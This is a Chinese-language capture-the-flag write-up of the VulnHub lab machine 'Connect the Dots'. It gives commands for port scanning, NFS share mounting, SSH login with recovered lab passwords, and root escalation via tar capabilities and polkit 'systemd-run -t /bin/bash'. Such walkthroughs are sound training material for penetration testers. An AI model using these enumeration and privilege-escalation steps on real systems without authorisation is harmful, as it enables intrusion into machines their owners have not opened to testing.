[VulnHub靶机渗透] CONNECT THE DOTS

news2024/9/29 15:35:33
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

二、渗透测试+信息收集

1、FTP+NFS服务渗透

NFS渗透

FTP渗透

2、web渗透

目录扫描

norris ssh登录

3、vim读取断电swp文件

三、提权

1、tar文件能力读取root.txt

2、suit之polkit利用提权


前言

靶机精讲之CONNECT THE DOTS ,又一台考验你的知识面的机器,至少涉及jsfuck、nfs、ftp多文件读取、getcap获取文件能力、polkit、文件图片隐写、莫尔斯码和断电隐患等知识,如果不理解这些知识点,你可能玩不转这台靶机。加油吧,少年。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.103.156

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

扫描发现靶机开放了21、80、111、2049、7822、39963、41123、51467、52437端口,21端口的FTP和2049端口的NFS我们可以优先查看,然后再看80的web服务。

┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.103.156

其中下面这几个端口都是为NFS服务开启的

39963 端口上运行着 mountd 服务,该服务针对 RPC 编号为 100005
41123 端口上运行着 nlockmgr 服务,该服务针对 RPC 编号为 100021
51467 和 52437 端口上也运行着 mountd 服务,同样针对 RPC 编号为 100005

再利用nmap扫描UDP端口,查看有什么新发现没用,UDP端口也是2049端口的NFS服务,这就说明我们需要去重点查看下,看看有什么共享文件给我们提示。

┌──(root💀kali)-[~]
└─# nmap -sU --top-port 40 192.168.103.156

3、漏洞扫描

漏洞扫描发现这个靶机的一些可能存在的漏洞,比如sql、xss、csrf,以及扫描到了一些目录,我们都可以去尝试访问下,但是我们目前还有很多的地方没有去渗透测试,我们后面如果没有什么突破了,我们可以尝试到时候倒过来。

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80,111,7822,2049 192.168.103.156

二、渗透测试+信息收集

1、FTP+NFS服务渗透

NFS渗透

要在Kali Linux上查看已共享的NFS文件,你可以执行以下步骤:

  1. 首先,确保你的Kali Linux系统上已安装了nfs-common包。如果没有安装,你可以使用以下命令进行安装:
sudo apt update
sudo apt install nfs-common
  1. 接下来,使用以下命令来查看可用的NFS共享:
showmount -e <NFS服务器IP地址>

-e表示exports,可以看到共享目录是/home/morris

将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址。运行该命令后,你将看到NFS服务器上共享的目录列表。
  1. 如果要挂载NFS共享到本地目录以访问文件,可以使用以下命令:
sudo mount <NFS服务器IP地址>:<共享目录> <本地目录>
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址,<共享目录>替换为希望共享的目录路径,<本地目录>替换为将共享目录挂载到的本地目录路径。

成功挂载后,你将能够在本地目录中访问和操作NFS共享的文件。

这里要注意了,如果你这里的kali使用的是root权限,那么在那个挂载目录没法读取。

在NFS服务器上有个配置文件/etc/exports,里面是这样的:/home/morris *(ro,root_squash),这样就限制了root用户的访问权限,但是其他用户不会受到影响,所以root用户没法读取.ssh文件的内容。

所以这里我们直接切换到kali用户,我们发现.ssh文件下面又两个钥匙,一个公钥和一个私钥,我们这里下面可以尝试使用私钥进行openssl私钥免密码登录。

我们再cat id_rsa.pub文件的时候,发现私钥的账户是:morris

尝试利用私钥进行登录,发现竟然要输入密码,目前我们只能访求这个方向了,再后面看看能不能找到这个密码,然后再ssh尝试登录下。

FTP渗透

ftp尝试利用匿名登录,发现失败了,说明目前ftp这条路也失败了。

2、web渗透

直接访问80端口,进行信息收集,但是web页面上没有发现什么有价值的信息

右击查看源代码,也没有发现什么有价值的信息

目录扫描

利用工具gobuster扫描发现好多的目录,我们进行挨个访问收集信息。

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.103.156 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

/manual目录,是个apache的网页,没有什么价值

/backups目录,是一个搞笑的动态表情包,没有什么价值

/mysite目录下,有很多的文件,我们进行挨个访问,

后来发现这两个的内容对于渗透测试来说,还是有点价值的,

register.html目录下,是一个登录页面,目前还没有账号密码登录,不过我们可以尝试弱口令,但是没有效果,我们放到后面去进行测试。

bootstrap.min.cs文件里面的是CTF比赛中碰到过的一种jsfuck编码,我们看到的由一大堆!+组成编码的字符其实是jsfuck,这是一种针对javascript程序的混淆方法。

我们需要把里面的除了由 !+ 组成的符号全部删掉,然后进行解码:

JSFuck - Write any JavaScript with 6 Characters: []()!+

这里提示我们说,TryToGuessThisNorris@2k19是个密码,也就是密码的意思,那账号是什么呢?细看TryToGuessThisNorris@2k19,我们猜测里面有个账号是norris,我们后面可以进行验证。

norris ssh登录
账号:norris  ; 密码:TryToGuessThisNorris@2k19
┌──(root💀kali)-[~/桌面/nfsdir]
└─# ssh norris@192.168.103.156 -p 7822                                                                                                                           255 ⨯ 1 ⚙
norris@192.168.103.156's password: 
Linux sirrom 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

###
   #     #    #     #     #####     #      ##     #####     #    #    #   ####
   #     ##   #     #       #       #     #  #      #       #    ##   #  #    #
   #     # #  #     #       #       #    #    #     #       #    # #  #  #
   #     #  # #     #       #       #    ######     #       #    #  # #  #  ###
   #     #   ##     #       #       #    #    #     #       #    #   ##  #    #
  ###    #    #     #       #       #    #    #     #       #    #    #   ####

Last login: Sat Mar  2 14:50:42 2024 from 192.168.103.129
norris@sirrom:~$ id
uid=1001(norris) gid=1001(norris) groups=1001(norris),27(sudo)
norris@sirrom:~$ whoami
norris

user.txt被我们找到了

norris@sirrom:~$ ls
ftp  user.txt
norris@sirrom:~$ cat user.txt
2c2836a138c0e7f7529aa0764a6414d0

我们发现,我们开始想尝试登录FTP服务查找文件,发现这里直接可以找到,我们进行利用python3开启http服务,然后下载到我们本地查看。

norris@sirrom:~/ftp/files$ python3 -m http.server 1234

┌──(root??kali)-[~/桌面]
└─# wget http://192.168.103.156:1234/game.jpg.bak

利用file和string命令进行对所以bak文件进行查看,发现game.jpg.bak里面的是摩斯密码

file *.bak
strings *.bak |more

.... . -.-- ....... -. --- .-. .-. .. ... --..-- ....... -.-- --- ..- .----. ...- . ....... -- .- -.. . ....... - .... .. ... ....... ..-. .- .-. .-.-.- ....... ..-. .- .-. ....... ..-. .- .-. ....... ..-. .-. --- -- ....... .... . .- ...- . -. ....... .-- .- -. -. .- ....... ... . . ....... .... . .-.. .-.. ....... -. --- .-- ..--.. ....... .... .- .... .- ....... -.-- --- ..- ....... ... ..- .-. . .-.. -.-- ....... -- .. ... ... . -.. ....... -- . --..-- ....... -.. .. -.. -. .----. - ....... -.-- --- ..- ..--.. ....... --- .... ....... -.. .- -- -. ....... -- -.-- ....... -... .- - - . .-. -.-- ....... .. ... ....... .- -... --- ..- - ....... - --- ....... -.. .. . ....... .- -. -.. ....... .. ....... .- -- ....... ..- -. .- -... .-.. . ....... - --- ....... ..-. .. -. -.. ....... -- -.-- ....... -.-. .... .- .-. --. . .-. ....... ... --- ....... --.- ..- .. -.-. -.- .-.. -.-- ....... .-.. . .- ...- .. -. --. ....... .- ....... .... .. -. - ....... .. -. ....... .... . .-. . ....... -... . ..-. --- .-. . ....... - .... .. ... ....... ... -.-- ... - . -- ....... ... .... ..- - ... ....... -.. --- .-- -. ....... .- ..- - --- -- .- - .. -.-. .- .-.. .-.. -.-- .-.-.- ....... .. ....... .- -- ....... ... .- ...- .. -. --. ....... - .... . ....... --. .- - . .-- .- -.-- ....... - --- ....... -- -.-- ....... -.. ..- -. --. . --- -. ....... .. -. ....... .- ....... .----. ... . -.-. .-. . - ..-. .. .-.. . .----. ....... .-- .... .. -.-. .... ....... .. ... ....... .--. ..- -... .-.. .. -.-. .-.. -.-- ....... .- -.-. -.-. . ... ... .. -... .-.. . .-.-.-

对莫斯密码进行解密:

Morse Code Translator - Morse Decoder

我们把#去掉,然后进行翻译,寻找线索

┌──(root💀kali)-[~/桌面/ftp_bak]
└─# echo "HEY#NORRIS,#YOU'VE#MADE#THIS#FAR.#FAR#FAR#FROM#HEAVEN#WANNA#SEE#HELL#NOW?#HAHA#YOU#SURELY#MISSED#ME,#DIDN'T#YOU?#OH#DAMN#MY#BATTERY#IS#ABOUT#TO#DIE#AND#I#AM#UNABLE#TO#FIND#MY#CHARGER#SO#QUICKLY#LEAVING#A#HINT#IN#HERE#BEFORE#THIS#SYSTEM#SHUTS#DOWN#AUTOMATICALLY.#I#AM#SAVING#THE#GATEWAY#TO#MY#DUNGEON#IN#A#'SECRETFILE'#WHICH#IS#PUBLICLY#ACCESSIBLE."| sed 's/#//g'
HEYNORRIS,YOU'VEMADETHISFAR.FARFARFROMHEAVENWANNASEEHELLNOW?HAHAYOUSURELYMISSEDME,DIDN'TYOU?OHDAMNMYBATTERYISABOUTTODIEANDIAMUNABLETOFINDMYCHARGERSOQUICKLYLEAVINGAHINTINHEREBEFORETHISSYSTEMSHUTSDOWNAUTOMATICALLY.IAMSAVINGTHEGATEWAYTOMYDUNGEONINA'SECRETFILE'WHICHISPUBLICLYACCESSIBLE.

这段话意思说他的电池很快就没电了,他就要ger~了,于是火速给我们留下一个信息,他把关键的信息secretfile放在了公共的区域。那啥是公共的区域呢?最容易想到的就是web的目录/var/www/html

我们发现,/var/www/html目录下,还真有secretfile文件,我们查看下这个文件的内容

I see you're here for the password. Holy Moly! Battery is dying !! Mentioning below for reference.


意思是:我知道你来到这里是找密码的。电池就要没电啦!下面的信息有些参考。

下面的信息在哪里?我们看到最后还有一个.secretfile.swp文件,

发现查看不了这个文件,因为这个是在web目录的http服务中,所以我们这里可以直接下载.secretfile.swp文件

┌──(root💀kali)-[~/桌面/ftp_bak]
└─# wget http://192.168.103.156/.secretfile.swp

3、vim读取断电swp文件

我们利用file和string,都显示这个文件与vim有关,然后前面又说了什么没电了,然后使用vim编辑,这一想,我们可以猜测他是不是利用vim编辑时断点异常退出产生的,那么我们就可以再利用vim进行把断电的编辑文件恢复。

说明vim利用-r参数,就是可以恢复断电编辑的swp文件了。

发现了一个应该是密码的东西:blehguessme090,一想到密码,我们就想到开始利用openssl私钥登录morris用户的时候,要用密码,说不定这个就是morris用户的密码呢,我们尝试利用ssh登录下。

┌──(root💀kali)-[~/桌面/ftp_bak]
└─# vim -r .secretfile.swp 

但是登录成功后,发现这个用户里面的文件,没有找到提权的方法,甚至说这个用户的权限都没有sudo,反而开始的用户还有sudo权限,所以我们还是把重点放回到原来的用户norris上。

┌──(root??kali)-[~/桌面/ftp_bak]
└─# ssh morris@192.168.103.156 -p 7822

三、提权

1、tar文件能力读取root.txt

使用getcap工具读取有没有文件具有特殊的文件能力

norris@sirrom:/var/www/html$ /sbin/getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/ping = cap_net_raw+ep

/usr/bin/tar具有 cap_dac_read_search 权限。这可能意味着 tar 可以读取文件系统中用户没有权限访问的文件。

那我们直接用tar把/root目录打包,然后再解压就可以看到flag即root.txt:

tar -zcvf  root.tar.gz /root

tar -zxvf root.tar.gz

2、suit之polkit利用提权

查看具有SUID权限的文件,发现/usr/lib/policykit-1/polkit-agent-helper-1,并且都具有root权限

polkit是linux系统中针对文件权限管理的一套机制,而helper相当于是充当一个介于操作者与被操作文件的一个中介,会通过这个helper去调用执行文件。因此如果我们能够借助helper的高权限,以root的身份调用bash,即可实现提权。可以通过如下的命令实现触发polkit-agent-helper-1,并借用polkit-agent-helper-1的root高权限启动bash进行提权。

可以使用systemd-run -r启动伪终端,此时会通过polkit-agent-helper-1启动,而polkit-agent-helper-1具有高权限,因此就有可能实现提权。

我们执行下面的命令后,再输入TryToGuessThisNorris@2k19登录的凭证,就可以成功提权到root权限了。

systemd-run -t /bin/bash

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1485545.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

miniconda3彻底删除虚拟环境

退出虚拟环境&#xff1a;确保您不在要删除的虚拟环境中。如果在&#xff0c;使用命令 conda deactivate 来退出当前激活的虚拟环境。查看虚拟环境列表&#xff1a;运行命令 conda env list 或 conda info -e 来查看所有存在的虚拟环境及其路径。删除虚拟环境&#xff1a;使用命…

HTTP Cookie 你了解多少?

Cookie是什么&#xff1f; 先给大家举个例子&#xff0c;F12 打开浏览器的页面之后&#xff0c;我们能在 Response Headers 的字段里面看到一个header 叫做 Set-Cookie&#xff0c;如下所示 图中包含的 Set-Cookie 为 Set-Cookie:uuid_tt_dd10_20293537580-1709432565344-232…

Maven(黑马学习笔记)

初识Maven 什么是Maven Maven是Apache旗下的一个开源项目&#xff0c;是一款用于管理和构建java项目的工具。 官网&#xff1a;https://maven.apache.org/ Apache 软件基金会&#xff0c;成立于1999年7月&#xff0c;是目前世界上最大的最受欢迎的开源软件基金会&#xff0…

Sqli-labs靶场第15关详解[Sqli-labs-less-15]自动化注入-SQLmap工具注入

Sqli-labs-Less-15 #自动化注入-SQLmap工具注入 SQLmap用户手册&#xff1a;文档介绍 - sqlmap 用户手册 由于这题是post请求&#xff0c;所以先使用burp进行抓包&#xff0c;然后将数据包存入txt文件中打包 用-r 选择目标txt文件 python sqlmap.py -r data.txt -current-db…

JavaScript之数据类型

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 数据类型   Java…

2023天津公租房网上登记流程图,注册到信息填写

2023年天津市公共租赁住房网上登记流程图 小编为大家整理了天津市公共租赁住房网上登记流程&#xff0c;从登记到填写信息。 想要体验的朋友请看一下。 申请天津公共租赁住房时拒绝申报家庭情况会怎样&#xff1f; 天津市住房保障家庭在享受住房保障期间&#xff0c;如在应申…

力扣 第 125 场双周赛 解题报告 | 珂学家 | 树形DP + 组合数学

前言 整体评价 T4感觉有简单的方法&#xff0c;无奈树形DP一条路上走到黑了&#xff0c;这场还是有难度的。 T1. 超过阈值的最少操作数 I 思路: 模拟 class Solution {public int minOperations(int[] nums, int k) {return (int)Arrays.stream(nums).filter(x -> x <…

Windows上构建一个和Linux类似的Terminal

preview 目的是在Windows上构建一个和Linux类似的Terminal&#xff0c;让Windows炼丹和Linux一样舒适&#xff0c;同是让Terminal取代Xshell完成远程链接。 预览如下图 在Linux下我们使用zsh和oh-my-zsh结合&#xff0c;Windows下我们使用powershell7和oh-my-posh结合。 前提…

力扣● 1049. 最后一块石头的重量 II ● 494. 目标和 ● 474.一和零

● 1049. 最后一块石头的重量 II 题目要把石头分成两堆&#xff0c;这两堆的重量差值最小。相撞之后剩下的石头重量就最小。其实就是要尽量把石头分为差不多重量的两堆&#xff0c;和昨天的● 416. 分割等和子集相似&#xff0c;这样就转换成了01背包问题。 和416题一样&…

【字符串相加】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言 字符串相加 方法一&#xff1a; 方法二&#xff1a; 总结 前言 世上有两种耀眼的光芒&#xff0c;一种是正在升起的太阳&#xff0c;一种是正在努力学习编程的…

腾讯云幻兽帕鲁游戏存档迁移教程,本地单人房迁移/四人世界怎么迁移存档?

腾讯云幻兽帕鲁游戏存档迁移的方法主要包括以下几个步骤&#xff1a; 登录轻量云控制台&#xff1a;首先&#xff0c;需要登录到轻量云控制台&#xff0c;这是进行存档迁移的前提条件。在轻量云控制台中&#xff0c;可以找到接收存档的服务器卡片&#xff0c;并点击进入实例详情…

LeetCode 2368.受限条件下可到达节点的数目:搜索 + 哈希表

【LetMeFly】2368.受限条件下可到达节点的数目&#xff1a;搜索 哈希表 力扣题目链接&#xff1a;https://leetcode.cn/problems/reachable-nodes-with-restrictions/ 现有一棵由 n 个节点组成的无向树&#xff0c;节点编号从 0 到 n - 1 &#xff0c;共有 n - 1 条边。 给…

ecmascript 6+(2)

引用数据类型&#xff1a; Object, Array, RegExp, Date等 包装类型&#xff1a;&#xff08;底层数据类型会将简单数据类型包装为对象&#xff09; String, Number, Boolean等&#xff08;都是基本数据类型的构造函数&#xff09; Object Object.keys(对象) 返回数组&…

ctf_show笔记篇(web入门---php特性)

目录 php特性 89&#xff1a;直接数组绕过preg_match当遇到数组时会直接报错输出0 90&#xff1a;这里利用了intval的特性 91&#xff1a;这里需要细节一点 92-93&#xff1a;这两题的方法很多可以发散思维 94&#xff1a;还是利用小数绕过例如4476.0 95&#xff1a;这里…

spring boot 修复 Spring Framework URL解析不当漏洞(CVE-2024-22243)

漏洞描述 当应用程序使用UriComponentsBuilder来解析外部提供的URL&#xff08;如通过查询参数&#xff09;并对解析的URL的主机执行验证检查时可能容易受到Open重定向攻击和SSRF攻击&#xff0c;导致网络钓鱼和内部网络探测等。 受影响产品或系统 6.1.0 < Spring Framew…

【bioinformation 2】生物数据库

&#x1f31e;欢迎来到AI医学的世界 &#x1f308;博客主页&#xff1a;卿云阁 &#x1f48c;欢迎关注&#x1f389;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f31f;本文由卿云阁原创&#xff01; &#x1f4c6;首发时间&#xff1a;&#x1f339;2024年3月3日&…

【新书推荐】11.1 子程序设计

第十一章 子程序及参数传递 本章先讲述子程序设计的方法&#xff0c;然后介绍在子程序调用中参数的四种传递方法。 11.1 子程序设计 在前面的示例和练习中&#xff0c;会发现程序中会有一些反复使用到的代码片段。我们将程序中反复出现的程序片段设计成子程序&#xff0c;这样…

DM数据库学习之路(十九)DM8数据库sysbench部署及压力测试

sysbench部署 安装依赖 yum -y install make automake libtool pkgconfig libaio-devel vim-common 上传sysbench源代码 sysbench_tool.tar 测试是否安装成功 $ /opt/sysbench/sysbench-master-dpi/src/lua $ ./sysbench --version sysbench 1.1.0 sysbench测试DM 测试…

【STK】手把手教你利用STK进行仿真-STK软件基础02 STK系统的软件界面01 STK的界面窗口组成

STK系统是Windows窗口类型的桌面应用软件,功能非常强大。在一个桌面应用软件中集成了仿真对象管理、仿真对象属性参数、设置、空间场景二三维可视化、场景显示控制欲操作、仿真结果报表定制与分析、对象数据管理、仿真过程控制、外部接口连接和系统集成编程等复杂的功能。 STK…

MyBatis源码分析之基础支持层解析器

(/≧▽≦)/~┴┴ 嗨~我叫小奥 ✨✨✨ &#x1f440;&#x1f440;&#x1f440; 个人博客&#xff1a;小奥的博客 &#x1f44d;&#x1f44d;&#x1f44d;&#xff1a;个人CSDN ⭐️⭐️⭐️&#xff1a;传送门 &#x1f379; 本人24应届生一枚&#xff0c;技术和水平有限&am…